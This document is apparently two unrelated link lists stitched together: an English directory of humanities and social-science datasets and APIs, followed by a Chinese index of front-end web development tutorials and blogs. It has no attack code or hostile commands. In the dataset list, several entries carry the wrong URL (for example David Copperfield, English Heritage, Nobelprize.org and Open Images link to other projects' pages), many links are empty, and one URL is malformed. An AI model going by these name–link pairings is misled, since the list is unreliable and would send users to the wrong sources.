- [Victoria and Albert Museum API](http://www.vam.ac.uk/api/)
- [Walters Art Museum Collections API's](http://api.thewalters.org/)
- Other Humanities Datasets (datasets for projects, disciplines, etc.; includes general-purpose datasets of use in humanities research)
- [100 Interesting Datasets for Statistics](http://rs.io/100-interesting-data-sets-for-statistics/?is_b_version=true&utm_expid=50231141-3.8QxdstXzRuupDFRQRzuMHA.1&utm_referrer=http%3A%2F%2Ftwitterrific.com%2Freferrer%23iPad) (Robb Seaton, 2014)
- [20th-Century American Bestsellers Database](http://unsworth.unet.brandeis.edu/courses/bestsellers/) (compiled "by undergraduate and graduate students at the University of Virginia, the University of Illinois, Catholic University, and Brandeis University, from 1998 to the present")
- [Australian Data Archive (ADA): Historical](http://www.ada.edu.au/historical/home)
- [Bach Choral Harmony Data Set](http://archive.ics.uci.edu/ml/datasets/Bach+Choral+Harmony)
- [BaroqueArt](http://baroqueart.cultureplex.ca/) ("data collection of Hispanic Baroque painters and paintings from 1550 to 1850"; [downloadable dataset]())
- [Chronicling America Historic American Newspapers - Data Access and API's](http://chroniclingamerica.loc.gov/about/api/)
- [Connected Histories API](http://www.hrionline.ac.uk/api/connhist.html) (data access to [Connect Histories British History Sources, 1500-1900](http://www.connectedhistories.org/), which facilitates searches for "digital resources related to early modern and nineteenth century Britain")
- [CORE (COnnecting REpositories) - API's](http://core.kmi.open.ac.uk/api/doc) (data access to [CORE](http://core.kmi.open.ac.uk/search) portal providing'free access to scholarly publications distributed across many systems")
- [Cultural Policy & the Arts National Data Archive (CPANDA)](http://www.cpanda.org/cpanda/) ("interactive digital archive of policy-relevant data on the arts and cultural policy in the United States")
- [David Copperfield Word Adjacencies](http://www.cpanda.org/cpanda/) ("adjacency network of common adjectives and nouns in the novel David Copperfield by Charles Dickens. Please cite M. E. J. Newman, Phys. Rev. E 74, 036104 (2006)"; from Mark Newman's list of network datasets)
- [DBPedia](http://wiki.dbpedia.org/About) (structured data extracted from Wikipedia; includes [downloads]() and [datasets]())
- [English Heritage Places](http://wiki.dbpedia.org/About) ("metadata for about 400,000 nationally important places as recorded by English Heritage, the UK Government's statutory adviser on the historic environment")
- [French Old Regime Bureaucrats: Intendants de Province, 1661-1790](http://www.disc.wisc.edu/archive/Province/province_abst.html) (data on "administrative elites for the years 1661-1770, with a limited amount of biographical information before these dates")
- [Google Books Ngram Viewer Downloadable Datasets](http://storage.googleapis.com/books/ngrams/books/datasetsv2.html)
- [Hansard Parliamentry Debates Archive](http://www.hansard-archive.parliament.uk/) (downloadable datasets in XML)
- [HathiTrust Research Center (HTRC) - Extracted Features Dataset](http://www.hathitrust.org/feature_extraction_alpha_release) ("dataset, consisting of page-level features extracted from a quarter-million text volumes")
- [HTRC Sandbox Portal](https://sandbox.htrc.illinois.edu/HTRC-UI-Portal2/Features)
- [Historical Census Browser (U. S.)](http://mapserver.lib.virginia.edu/)
- [History Data Service (HDS)](http://hds.essex.ac.uk/) ("collects, preserves, and promotes the use of digital resources, which result from or support historical research, learning and teaching")
- [ImageNet](http://www.image-net.org/) ("image database organized according to the [WordNet](http://wordnet.princeton.edu/) hierarchy (currently only the nouns), in which each node of the hierarchy is depicted by hundreds and thousands of images")
- [Kinomatics Project](http://kinomatics.com/) ("collects, explores, analyses and represents data about the creative industries.... Current focus is on the spatial and temporal dimensions of international film flow and the location of Australian live music gigs"; also includes visualizations and tools for film impact rating)
- [Les Miserables](http://www-personal.umich.edu/~mejn/netdata/lesmis.zip) ("coappearance network of characters in the novel Les Miserables. Please cite D. E. Knuth, The Stanford GraphBase: A Platform for Combinatorial Computing, Addison-Wesley, Reading, MA (1993)"; from Mark Newman's list of network datasets)
- [Marvel (Comics) Universe Social Graph](http://exposedata.com/marvel/) (datasets include Gephi files and related files for: [Comic and Hero Network](http://exposedata.com/marvel/data/comic-hero-network.gephi), [Marvel Social Network Comic and Hero Network Data](http://exposedata.com/marvel/data/comic-hero-network.gephi), & [Hero Social Network Data](http://exposedata.com/marvel/data/hero-network.csv))
- [Million Song Dataset](http://labrosa.ee.columbia.edu/millionsong/) ("a freely-available collection of audio features and metadata for a million contemporary popular music tracks")
- [Modernist Journals Project - Datasets](http://cds.library.brown.edu/projects/mjplab/documentation/aboutTXTdatasets.html) ("In addition to the MODS catalogue records and TEI text transcripts for each journal, we’re now making available three .txt-file datasets for each journal we post on the [MJP Lab's Sourceforge repository](http://sourceforge.net/p/mjplab/home/Home/). These datasets are derived from the MODS files, aggregating most of the data recorded there; they thus give users the MJP’s catalogue information about each journal without the hassle of having to extract, concatenate, and organize the data themselves")
- [Movie Data Set](http://archive.ics.uci.edu/ml/datasets/Movie) (from UC Irvine Machine Learning Repository; "contains a list of over 10000 films including many older, odd, and cult films. There is information on actors, casts, directors, producers, studios, etc.")
- [Movie Review Data](http://archive.ics.uci.edu/ml/datasets/Movie) ("distribution site for movie-review data for use in sentiment-analysis experiments. Available are collections of movie-review documents labeled with respect to their overall sentiment polarity (positive or negative) or subjective rating (e.g., "two and a half stars") and sentences labeled with respect to their subjectivity status (subjective or objective) or polarity")
- [New York Times - Developers (Search by API)](http://developer.nytimes.com/) ("why just read the news when you can hack it?"; API's for accessing headlines, abstracts, first paragraphs, links, etc. to NYT data ; includes API's for articles, best sellers, comments by users, most popular items, newswire, and other parts of the Times) (Note: [See details of access by time range](http://www.nytimes.com/ref/membercenter/nytarchive.html) to full-text, partial-text, PDF versions of the articles discoverable through the NYT API)
- [New York Times Linked Open Data](http://data.nytimes.com/)
- [Nobelprize.org Data](http://data.nytimes.com/) (API and as Linked Data for "information about who has been awarded the Nobel Prize, when, in what prize category and the motivation, as well as basic information about the Nobel Laureates such as birth data and the affiliation at the time of the award")
- [Old Bailey API](http://www.oldbaileyonline.org/static/API.jsp) (data for the [Proceedings of the Old Bailey](http://www.oldbaileyonline.org/) project with its "access to over 197,000 trials and biographical details of approximately 2,500 men and women executed at Tyburn"; the Old Bailey API includes "[Old Bailey API Demonstrator](http://www.oldbaileyonline.org/obapi/) to build queries and export texts to [Voyant Tools](http://voyant-tools.org/)")
- [Online Catasto of 1427](http://cds.library.brown.edu/projects/catasto/overview.html) (" searchable database of tax information for the city of Florence in 1427-29; c. 10,000 records")
- [Open Images - API](http://cds.library.brown.edu/projects/catasto/overview.html) (data access to [Open Images](http://www.openimages.eu/) platform offering "online access to audiovisual archive material to stimulate creative reuse. Footage from audiovisual collections can be downloaded and remixed into new works. Users of Open Images also have the opportunity to add their own material to the platform and thus expand the collection")
- [PastPlace API](http://www.pastplace.org/) (historical gazetteer service for [A Vision of Britain through Time](http://www.visionofbritain.org.uk/))
- [Polymath Virtual Library](http://datahub.io/dataset/polymath-virtual-library) ("aims to bring together the works of the most important Hispanic polymaths and to establish semantic relationships between them, expressing the different schools of thought, from Seneca to Octavio Paz")
- [Theatricalia](htthttp://datahub.io/dataset/theatricalia) ("database of past and future theatre productions.... nearly 20,000 productions involving over 60,000 people at over 1,500 theatres")
- [Trans-Atlantic Slave Trade Database](http://www.slavevoyages.org/tast/index.faces)
## Datasets in Other Disciplines (sample datasets for social-science, demographic, ethnicity/diversity, economic, health, media, and other research)
- [American National Election Studies datasets](http://www.electionstudies.org/)
- [Association of Religion Data Archives (ARDA)](http://www.thearda.com/Archive/browse.asp) ("collection of surveys, polls, and other data submitted by researchers and made available online ... nearly 775 data files")
- [Australian Data Archive (ADA)](http://www.ada.edu.au/)
- [Berman Jewish DataBank (North America)](http://www.jewishdatabank.org/)
- [Bureau of Labor Statistics (U. S.)](http://www.bls.gov/data/)
- [CAIDA (Cooperative Association for Internet Data Analysis): Datasets, Monitors, and Reports](http://www.caida.org/data/overview/) ("Collection and sharing of data for scientific analysis of Internet traffic, topology, routing, performance, and security-related events is one of CAIDA's core objectives")
- [Cat Dataset](http://137.189.35.203/WebUI/CatDatabase/catData.html) ("10,000 cat images. For each image, we annotate the head of cat with nine points, two for eyes, one for mouth, and six for ears")
- [CDC Wonder]() (public health data and related data from the U. S. Centers for Disease Control & Prevention)
- [Census Bureau Data Tools and Apps]() (data from the U. S. Census Bureau)
- [Center for International Earth Science Information Network (CIESIN) Data Links By Subject]()
- [Center for Population Research in LGBT Health: Data Resources]()
- [China Data Center]() (from U. Michigan)
- [Data is Plural]() (extensive directory of public datasets of many kinds by Jeremy Singer-Vine, including many curious and small ones--e.g., the number of squirrels in New York's Central Park according to a squirrel count)
- [DataFerrett]() ("data analysis and extraction tool to customize [U. S.] federal, state, and local data to suit your requirements.... you can develop an unlimited array of customized spreadsheets that are as versatile and complex as your usage demands then turn those spreadsheets into graphs and maps without any additional software")
- [Data and Story Library (DASL)]() (pedagogically oriented site with large number of sample [datasets]() accompanied by ["stories"]() that apply "a particular statistical method to a set of data")
- Data.gov ("home of the US government’s open data. You can find Federal, state and local data, tools, and resources to conduct research, build apps, design data visualizations, and more")
- [Data.gov.uk]()
- [Data on the Net]() ("Search or browse our listing of 363 Internet sites of numeric Social Science statistical data, data catalogs, data libraries, social science gateways, addresses and more")
- [Datasets for Data Mining and Data Science]() (from KDnuggets)
- [DiversityData.org (U. S.)]() ("Create customized reports describing over 100 measures of diversity, opportunity, and quality of life for 362 metropolitan areas")
- [Economic Policy Institute Datazone]()
- [Enron Email Dataset]() ("data from about 150 users, mostly senior management of Enron ... contains a total of about 0.5M messages. This data was originally made public, and posted to the web, by the Federal Energy Regulatory Commission during its investigation)
- [EnronSent Corpus]() ("special preparation of a portion of the Enron Email Dataset designed specifically for use in Corpus Linguistics and language analysis ... created by cleaning up a portion of the original Enron Corpus. It contains 96,107 messages from the "Sent Mail" directories of all the users in the corpus. ... an attempt has been made to remove as much non-human generated text as possible from the raw messages in the original data")
- [Global Health Observatory (GHO)]() (from the World Health Organization)
- [Global Terrorism Database (GTD)]() ("open-source database including information on terrorist events around the world from 1970 through 2012 [with annual updates planned for the future].... includes systematic data on [U. S.] domestic as well as international terrorist incidents ... includes more than 113,000 cases")
- [Google Datasets Search Engine]
- [Higher Education Datasets]() (U. S.) (from Data.gov)
- [Homeland Security (U. S.) Data and Statistics]() (from U. S. Department of Homeland Security)
- [ICWSM-2009 Blogs Dataset]() ("44 million blog posts made between August 1st and October 1st, 2008. The post includes the text as syndicated, as well as metadata such as the blog's homepage, timestamps, etc. ... formatted in XML and is further arranged into tiers approximating to some degree search engine ranking.... To get access to the Spinn3r dataset, please download and sign the usage agreement , and email it to dataset-request (at) icwsm.org. Once your form is processed ... you will be sent a URL and password where you can download the collection")
- [Immigration Statistics]() (from U. S. Department of Homeland Security)
- [Infochimps Financial Datasets]() (including stock market historical datasets in csv format)
- [Mexican Migration Project (MMP)]()
- [National Archive of Criminal Justice Data (U. S.)]()
- [National Atlas Data Download (U. S.)]()
- [New York Times - Developers (Search by API)]() ("why just read the news when you can hack it?"; API's for accessing headlines, abstracts, first paragraphs, links, etc. to NYT data ; includes API's for articles, best sellers, comments by users, most popular items, newswire, and other parts of the Times)
- [Open Context: Downloadable Data Tables]() (archaeological research)
- [Pew Research Center Datasets]() (datasets for the following Pew Research projects: People & the Press; Journalism; Hispanic Trends; Global Attitudes; Internet and American Life; Social & Demographic Trends; Religion & Public Life)
- [Public Datasets]() (list created by Vivek Patil)
- [Qualitative Data Repository (QDR)]() ("selects, ingests, curates, archives, manages, durably preserves, and provides access to digital data used in qualitative and multi-method social inquiry"; Syracuse U.)
- [Quora List of Large Public Datasets]()
- [Reddit 2.5 Million Posts]() ("dataset of the all-time top 1,000 posts, from the top 2,500 subreddits by subscribers, pulled from reddit between August 15–20, 2013")
- [Réseau Quetelet]() (French social-science datasets)
- [Resource Center for Minority Data (RCMD) (U. S.)]()
- Robert Seaton, "[100+ Interesting Data Sets for Statistics]()" ("Looking for interesting data sets? Here's a list of more than 100 of the best stuff, from dolphin relationships to political campaign donations to death row prisoners") (2014)
- [Sharing Ancient Wisdoms (SAW): Data]() (RDF data files and other data for project on "collections of ideas and opinions – ranging from pithy sayings to short passages from longer philosophical texts - which make up the ancient genre of Wisdom Literature")
- [SMS Spam Collection]() ("public set of SMS labeled messages that have been collected for mobile phone spam research. It has one collection composed by 5,574 English, real and non-encoded messages, tagged according being legitimate (ham) or spam"
- [Social Computing Data Repository]() (datasets for social media research from Arizona State U.)
- [Spambase Data Set]() (University of Callifornia, Irvine's dataset)
- [Stanford Large Network Dataset Collection]() (datasets of nodes and edges for social networks, communication networks, citation networks, collaboration networks, Amazon networks, road networks, Twitter, online communities, etc.)
- [Terrorism and Preparedness Data Resource Center ]()(U. Michigan; "archives and distributes data collected by government agencies, non-governmental organizations (NGOs), and researchers about the nature of intra- (domestic) and international terrorism incidents, organizations, perpetrators, and victims; governmental and nongovernmental responses to terror, including primary, secondary, and tertiary interventions; and citizen's attitudes towards terrorism, terror incidents, and the response to terror")
- Texas Department of Criminal Justice [Death Row Information]() (dataset of last words of prisoners executed since 1984)
- [Time Series Data Library]()
- [Twitter Data set for Arabic Sentiment Analysis Data Set]()
- [UK Data Archive]()
- [UNdata]() (data from the Statistics Division of the United Nations Department of Economic and Social Affairs; includes [data access by API]())
- [University of California, Irvine, Machine Learning Repository Datasets]()
- [University College Dublin's Open Data Sets of Social Networks]() (overview)
- [U. S. National Survey on Drug Use and Health, 2012 (datasets)](https://www.icpsr.umich.edu/web/ICPSR/studies/34933?q=&paging.rows=25&sortBy=10)
- [U. S. Survey of Inmates in State and Federal Correctional Facilities, 2004](http://www.icpsr.umich.edu/icpsrweb/ICPSR/studies/4572?q=&paging.rows=25&sortBy=10) (datasets)
- [World Bank Poverty & Equity Data](http://povertydata.worldbank.org/poverty/home/)
- [World Data Center for Human Interactions in the Environment](http://sedac.ciesin.columbia.edu/wdc/) (from Columbia U.)
- [World Values Survey (WVS)](http://www.worldvaluessurvey.org/wvs.jsp) ("global research project that explores people’s values and beliefs, their stability or change over time and their impact on social and political development of the societies in different countries of the world")
- [Yelp Academic Dataset](https://www.yelp.com/academic_dataset) ("Yelp is providing all the data and reviews of the 250 closest businesses for 30 universities for students and academics to explore and research. We've provided some examples on GitHub to get you started. To get them running, you will need to install MRJob, our python framework for Map-Reduce computing")
## License
[](https://creativecommons.org/publicdomain/zero/1.0)
To the extent possible under law, Richard Dennis has waived all copyright and related or neighboring rights to this work.
|
<h1 align="center">Front-end-tutorial</h1>
## [与时俱进版前端资源教程](https://jeffjade.com/2017/09/28/127-nice-front-end-tutorial/)
## 目标与哲学
众所周知，前端发展如火如荼，日新月异，而且很长一段时间内都将如此。这份由[晚晴幽草轩轩主](https://jeffjade.com/?utm_source=nice-front-end-tutorial)正在维护的教程列表；旨在为`前端学习`，`技能提升`，`视野扩展`，`资料查找`等行个方便。将会在日常工作探索、学习中，持续保持更新，增新优之章，除旧失之文；尽可能使得这份列表保持简练，以避免信息过重且冗杂；望其能在浩如烟海的讯息中，堪有所用。详细说明，可参见：[与时俱进版前端资源教程](https://www.jeffjade.com/2017/09/28/127-nice-front-end-tutorial/)。
## 分类目录
### 🐉 The Future
- [**AI-ML-DL**](https://github.com/nicejade/nice-front-end-tutorial/blob/master/tutorial/ai-ml-dl-tutorial.md)
- [Flutter ✨](https://github.com/nicejade/nice-front-end-tutorial/blob/master/tutorial/flutter-tutorial.md)
- [**Pwa**](https://github.com/nicejade/nice-front-end-tutorial/blob/master/tutorial/pwa-tutorial.md)
- [Python ✨](https://github.com/nicejade/nice-front-end-tutorial/blob/master/tutorial/python-tutorial.md)
- [ServerLess ✨](https://github.com/nicejade/nice-front-end-tutorial/blob/master/tutorial/serverless-tutorial.md)
- [WebAssembly](https://github.com/nicejade/nice-front-end-tutorial/blob/master/tutorial/webAssembly.md)
### 🎨 Front-End Tutorial
- [大前端综合](https://github.com/nicejade/nice-front-end-tutorial/blob/master/tutorial/front-end-tutorial.md)
- [EcmaScript](https://github.com/nicejade/nice-front-end-tutorial/blob/master/tutorial/ecmascript-tutorial.md)
- [Html(5)](https://github.com/nicejade/nice-front-end-tutorial/blob/master/tutorial/html-tutorial.md)
- [Css(3)](https://github.com/nicejade/nice-front-end-tutorial/blob/master/tutorial/css3-tutorial.md)
- [Framework News](https://github.com/nicejade/nice-front-end-tutorial/blob/master/tutorial/framework-news.md)
- [Vue](https://github.com/nicejade/nice-front-end-tutorial/blob/master/tutorial/vue-tutorial.md)
- [React](https://github.com/nicejade/nice-front-end-tutorial/blob/master/tutorial/react-tutorial.md)
- [Angular](https://github.com/nicejade/nice-front-end-tutorial/blob/master/tutorial/angular-tutorial.md)
- [快应用 ✨](https://github.com/nicejade/nice-front-end-tutorial/blob/master/tutorial/quickapp-tutorial.md)
- [微信小程序 ✨](https://github.com/nicejade/nice-front-end-tutorial/blob/master/tutorial/wechat-mini-program-tutorial.md)
- [Webpack](https://github.com/nicejade/nice-front-end-tutorial/blob/master/tutorial/webpack-tutorial.md)
- [Gulp](https://github.com/nicejade/nice-front-end-tutorial/blob/master/tutorial/gulp-tutorial.md)
- [UI UI UI](https://github.com/nicejade/nice-front-end-tutorial/blob/master/tutorial/ui-tutorial.md)
- [Optimization](https://github.com/nicejade/nice-front-end-tutorial/blob/master/tutorial/optimization-tutorial.md)
- [Testing](https://github.com/nicejade/nice-front-end-tutorial/blob/master/tutorial/testing-tutorial.md)
### 👽 Back-End Tutorial
- [Nodejs](https://github.com/nicejade/nice-front-end-tutorial/blob/master/tutorial/nodejs-tutorial.md)
- [Nginx](https://github.com/nicejade/nice-front-end-tutorial/blob/master/tutorial/nginx-tutorial.md)
- [Mongodb](https://github.com/nicejade/nice-front-end-tutorial/blob/master/tutorial/mongodb-tutorial.md)
- [Redis](https://github.com/nicejade/nice-front-end-tutorial/blob/master/tutorial/redis-tutorial.md)
### 🎣 Front-Back-End Tutorial
- [Tools](https://github.com/nicejade/nice-front-end-tutorial/blob/master/tutorial/tools-tutorial.md)
- [Chrome](https://github.com/nicejade/nice-front-end-tutorial/blob/master/tutorial/chrome-tutorial.md)
- [Git & Github](https://github.com/nicejade/nice-front-end-tutorial/blob/master/tutorial/git-tutorial.md)
- [Markdown](https://github.com/nicejade/nice-front-end-tutorial/blob/master/tutorial/markdown-tutorial.md)
- [Docker](https://github.com/nicejade/nice-front-end-tutorial/blob/master/tutorial/docker-tutorial.md)
- [Kubernetes](https://github.com/nicejade/nice-front-end-tutorial/blob/master/tutorial/kubernetes-tutorial.md)
- [GraphQL](https://github.com/nicejade/nice-front-end-tutorial/blob/master/tutorial/graphql-tutorial.md)
- [Web Security](https://github.com/nicejade/nice-front-end-tutorial/blob/master/tutorial/web-security-tutorial.md)
### 🌷 Other Wizards List
- [Awesome List 👏](https://github.com/nicejade/nice-front-end-tutorial/blob/master/tutorial/awesome-list.md)
- [Front-end Channel](https://github.com/nicejade/nice-front-end-tutorial/blob/master/tutorial/front-end-channel.md)
- [Resume & Interviews](https://github.com/nicejade/nice-front-end-tutorial/blob/master/tutorial/resume-interviews-tutorial.md)
- [Interesting](https://github.com/nicejade/nice-front-end-tutorial/blob/master/tutorial/interesting-tutorial.md)
## 相关链接
- [**倾城之链**](https://nicelinks.site?utm_source=github)
- [About Me](https://aboutme.lovejade.cn/?utm_source=github)
- [个人博客](https://www.jeffjade.com/nicelinks?utm_source=github)
- [静轩之别苑](https://quickapp.lovejade.cn/nicelinks?utm_source=github)
- [静晴轩别苑](https://nice.lovejade.cn/?utm_source=github)
- [吾意静晴轩](https://docz.lovejade.cn/?utm_source=github)
- [天意人间舫](https://blog.lovejade.cn/?utm_source=github)
- [新浪微博](https://weibo.com/jeffjade?utm_source=github)
- [知乎主页](https://www.zhihu.com/people/yang-qiong-pu/)
- [简书主页](https://www.jianshu.com/u/9aae3d8f4c3d)
- [SegmentFault](https://segmentfault.com/u/jeffjade)
- [Twitter](https://twitter.com/nicejadeyang)
- [Facebook](https://www.facebook.com/yang.gang.jade)
| 微信公众号 | 前端微信群 | 推荐 Web 应用 | 推荐小程序 |
| :-: | :-: | :-: | :-: |
| 😉 静晴轩 | ✨ 大前端联盟 | 🎉 倾城之链 | 🌊 倾城之链 |
|  |  | <img src="https://image.nicelinks.site/nice-links.png" width="300px" alt="倾城之链"></img> | <img src="https://camo.githubusercontent.com/a4d1e07fce0639d0a43ebdb4074c5c1e67978934/68747470733a2f2f696d6167652e6e6963656c696e6b732e736974652f6e6963656c696e6b732d6d696e6970726f6772616d2d636f64652e6a706567" width="300px" alt="倾城之链"></img> |
---
>**微注**：在继续学习 & 探索 & 积累，并率先于[『引』最全前端资源汇集](https://jeffjade.com/2016/03/30/104-front-end-tutorial/)持续更新。
## __综合类__
综合类 | 地址
:----:|:----:
大前端综合教程、资源汇总 | https://github.com/nicejade/nice-front-end-tutorial/blob/master/tutorial/front-end-tutorial.md
Roadmap to becoming a web developer in 2018 | https://github.com/kamranahmedse/developer-roadmap
前端知识结构|https://github.com/JacksonTian/fks
Web前端开发大系概览|https://github.com/unruledboy/WebFrontEndStack
免费的编程中文书籍索引|https://github.com/justjavac/free-programming-books-zh_CN
前端书籍|https://github.com/dypsilon/frontend-dev-bookmarks
前端免费书籍大全|https://github.com/vhf/free-programming-books
前端知识体系|http://www.cnblogs.com/sb19871023/p/3894452.html
免费的编程中文书籍索引|https://github.com/justjavac/free-programming-books-zh_CN
重新介绍 JavaScript（JS 教程）|https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/A_re-introduction_to_JavaScript
麻省理工学院公开课：计算机科学及编程导论|http://v.163.com/special/opencourse/bianchengdaolun.html
JavaScript中的this陷阱的最全收集--没有之一|http://segmentfault.com/a/1190000002640298
JS函数式编程指南|https://llh911001.gitbooks.io/mostly-adequate-guide-chinese/content/ch1.html
JavaScript Promise迷你书（中文版）|http://liubin.github.io/promises-book
腾讯移动Web前端知识库|https://github.com/AlloyTeam/Mars
Front-End-Develop-Guide 前端开发指南|https://github.com/Front-End-Developers-Hunan/Front-End-Develop-Guide
前端开发笔记本|https://li-xinyang.gitbooks.io/frontend-notebook/content
大前端工具集 - 聂微东|https://github.com/nieweidong/fetool
前端开发者手册|https://dwqs.gitbooks.io/frontenddevhandbook/content
## __工具类__
工具类| 地址
:----:|:----:
倾城**利器**之家 | https://nicelinks.site/theme/tools 为极大提升效率而存
Web 开发工程师工具推荐 | https://github.com/nicejade/nice-front-end-tutorial/blob/master/tutorial/tools-tutorial.md
__前端人的俱乐部__| http://f2er.club/ 真可以解放你的收藏夹
如何优雅地使用Sublime Text|http://www.jeffjade.com/2015/12/15/2015-04-17-toss-sublime-text/#
新编码神器Atom使用纪要|http://www.jeffjade.com/2016/03/03/2016-03-02-how-to-use-atom/
IntelliJ IDEA 简体中文专题教程|https://github.com/judasn/IntelliJ-IDEA-Tutorial
## __综合效果搜索平台__
综合效果搜索平台 | 地址
:----:|:----:
**JavaScript 资源大全中文版**|https://github.com/jobbole/awesome-javascript-cn
倾城**美图**之家 | https://nicelinks.site/theme/picture 高质量图库集
倾城**设计**之家 | https://nicelinks.site/theme/design 设计师的修道场
倾城**程序**之家 | https://nicelinks.site/theme/program 程序网站导航
倾城**图标**之家 | https://nicelinks.site/theme/icons 云集高质量图标社区
倾城**社区**之家 | https://nicelinks.site/theme/community 云集高质量交流社区
倾城**搜索**直接 | https://nicelinks.site/theme/search 综合 Google 搜索引擎替代品
**100+ 超全的web开发工具和资源**|https://xituqu.com/170.html
**设计师网址导航**|http://hao.uisdc.com/
Web前端导航(Alloyteam)|http://www.alloyteam.com/nav/
**快搜**|http://so.chongbuluo.com/
阿里iconfont|http://www.iconfont.cn/
zoommyapp.com|http://zoommyapp.com/ 高质量图库
unsplash.com|https://unsplash.com/ 高质量图库
www.pinterest.com|https://www.pinterest.com/ 图库
New Old Stock|http://nos.twnsnd.co 复古风图库
500px.com|https://500px.com/ 唯美照片
效果网|http://www.jq22.com
花瓣网|http://huaban.com/
优美图|http://www.topit.me/
codepen|http://codepen.io/
摄图网|http://699pic.com/
常用的JavaScript代码片段|http://microjs.com
## __入门类__
入门类 | 地址
:----:|:----:
前端入门教程|http://www.cnblogs.com/jikey/p/3613082.html
瘳雪峰的Javascript教程|http://www.liaoxuefeng.com/wiki/001434446689867b27157e896e74d51a89c25cc8b43bdb3000
前端工程师必备的PS技能——切图篇|http://www.imooc.com/view/506
结合个人经历总结的前端入门方法|https://github.com/qiu-deqing/FE-learning
## __团队Blog__
团队Blog-Name | 地址
:----:|:----:
腾讯 ISUX | http://isux.tencent.com
腾讯全端 AlloyTeam | http://www.alloyteam.com/webdevelop/
奇舞周刊 | http://old.75team.com/weekly/
阿里巴巴 -U 一点 | http://www.aliued.cn
淘宝前端团队 (FED) | http://taobaofed.org
网易 FEG 前端团队 | http://feg.netease.com/
网易用户体验中心 | http://uedc.163.com/
码农周刊 | http://weekly.manong.io
凹凸实验室 ( 京东 ) | https://aotu.io/
WEB 前端开发 | http://www.css88.com
百度 WEB 前端研发部 | http://fex.baidu.com
搜车大无线团队博客 | http://f2e.souche.com/blog/
饿了么大前端 | https://zhuanlan.zhihu.com/ElemeFE
美团点评技术团队 | https://tech.meituan.com/
携程设计委员会 | http://ued.ctrip.com/blog/
前端观察 ( 腾讯 ) | https://www.qianduan.net/
前端外刊评论 | https://qianduan.group/
Awesomes-Web 前端开发资源库 | https://www.awesomes.cn/
掘进|发现|前端 | https://juejin.im/explore/frontend
Segmentfault|头条|前端 | https://segmentfault.com/news/frontend
开发者头条|前端 | https://toutiao.io/c/fe
A JS tip per day! | http://www.jstips.co
CodePen - Front End Developer Playground | https://codepen.io/
Reloading – Medium | https://medium.com/reloading
Cybersecurity – Medium | https://medium.com/topic/cybersecurity
Hacker Noon | https://hackernoon.com/
Frontend Focus | https://frontendfoc.us/
JavaScript Weekly | http://javascriptweekly.com/
Css Weekly | http://css-weekly.com/
Web Design Weekly | https://web-design-weekly.com/
Web Tools Weekly | https://webtoolsweekly.com/
Learn CSS Animation | https://cssanimation.rocks/
Hack Design | https://hackdesign.org/
Codeburst | https://codeburst.io/
SitePen Blog | https://www.sitepen.com/blog/
JavaScript Weekly ^subscribe | http://javascriptweekly.com/issues
Frontend Focus ^subscribe | https://frontendfoc.us/issues
WebOps Weekly ^subscribe | https://webopsweekly.com/issues
Node Weekly ^subscribe | https://nodeweekly.com/issues
Mobile Dev Weekly ^subscribe | https://mobilewebweekly.com/issues
Front-end Web Development, Chewed Up ← Alligator.io | https://alligator.io/
## __开发中心__
开发中心| 地址
:----:|:----:
mozilla js参考|https://developer.mozilla.org/zh-CN/docs/Web/JavaScript
chrome开发中心（chrome的内核已转向blink）|https://developer.chrome.com/extensions/api_index.html
safari开发中心|https://developer.apple.com/library/safari/navigation
microsoft js参考|https://msdn.microsoft.com/zh-cn/library/d1et7k7c(v=vs.94.aspx
js秘密花园|http://sanshi.me/articles/JavaScript-Garden-CN/html/index.html
js秘密花园|http://bonsaiden.github.io/JavaScript-Garden/zh
w3help|http://www.w3help.org 综合Bug集合网站
## __Nodejs__
Nodejs | 地址
:----:|:----:
Node.js 包教不包会|https://github.com/alsotang/node-lessons
一个nodejs博客|http://60sky.com
【NodeJS 学习笔记04】新闻发布系统|http://www.cnblogs.com/yexiaochai/p/3536547.html
过年7天乐，学nodejs 也快乐|http://www.cnblogs.com/qqloving/p/3541099.html
七天学会NodeJS|https://github.com/nqdeng/7-days-nodejs
Nodejs学习笔记（二）--- 事件模块|http://www.cnblogs.com/zhongweiv/p/nodejs_events.html
nodejs入门|http://www.cnblogs.com/liusuqi/p/3735491.html
angularjs nodejs|https://github.com/zensh/jsgen
从零开始nodejs系列文章|http://blog.fens.me/series-nodejs
理解nodejs|http://debuggable.com/posts/understanding-node-js:4bd98440-45e4-4a9a-8ef7-0f7ecbdd56cb
nodejs事件轮询|http://blog.mixu.net/2011/02/01/understanding-the-node-js-event-loop
node入门|http://www.nodebeginner.org/index-zh-cn.html
nodejs cms|http://ourjs.com/detail/53e1f281c5910a9806000001
Node初学者入门，一本全面的NodeJS教程|http://ourjs.com/detail/529ca5950cb6498814000005
NodeJS的代码调试和性能调优|http://www.barretlee.com/blog/2015/10/07/debug-nodejs-in-command-line
## __综合API__
综合API| 地址
:----:|:----:
**OverAPI.com**|http://overapi.com/
javascripting|http://www.javascripting.com
各种流行库搜索|http://microjs.com
runoob.com-包含各种API集合|http://www.runoob.com
开源中国在线API文档合集|http://tool.oschina.net/apidocs
devdocs|http://devdocs.io 英文综合API网站
## __Ecmascript__
Ecmascript| 地址
:----:|:----:
Understanding ECMAScript 6 - Nicholas C. Zakas|https://leanpub.com/understandinges6/read
exploring-es6|https://leanpub.com/exploring-es6/read
exploring-es6翻译|https://github.com/es6-org/exploring-es6
exploring-es6翻译后预览|http://es6-org.github.io/exploring-es6
阮一峰 es6|http://es6.ruanyifeng.com
阮一峰 Javascript|http://javascript.ruanyifeng.com
ECMA-262，第 5 版|http://yanhaijing.com/es5
es5|http://es5.github.io
## __Vue__
Vue.js | 地址
:----:|:----:
**Vue2.0** | https://vuefe.cn/
Vue|http://cn.vuejs.org
Vue Router|https://router.vuejs.org/
Vuex | https://vuex.vuejs.org/
**Vue-Cli** | https://github.com/vuejs/vue-cli
Vue 论坛|http://forum.vuejs.org
Vue 聊天室|https://gitter.im/vuejs/vue
Vue 入门指南|http://www.cnblogs.com/aaronjs/p/3660102.html
Vue 的一些资源索引|http://segmentfault.com/a/1190000000411057
awesome-vue|https://github.com/vuejs/awesome-vue
vue-syntax-highlight | https://github.com/vuejs/vue-syntax-highlight
如何写一手漂亮的 Vue | http://jeffjade.com/2017/03/11/120-how-to-write-vue-better/?me
## __Angularjs__
Angularjs| 地址
:----:|:----:
Angular.js 的一些学习资源|https://github.com/dolymood/AngularLearning
angularjs中文社区|http://angularjs.cn
Angularjs源码学习|http://www.cnblogs.com/xuwenmin888/p/3739096.html
Angularjs源码学习|http://www.ifeenan.com/?c=AngularJS
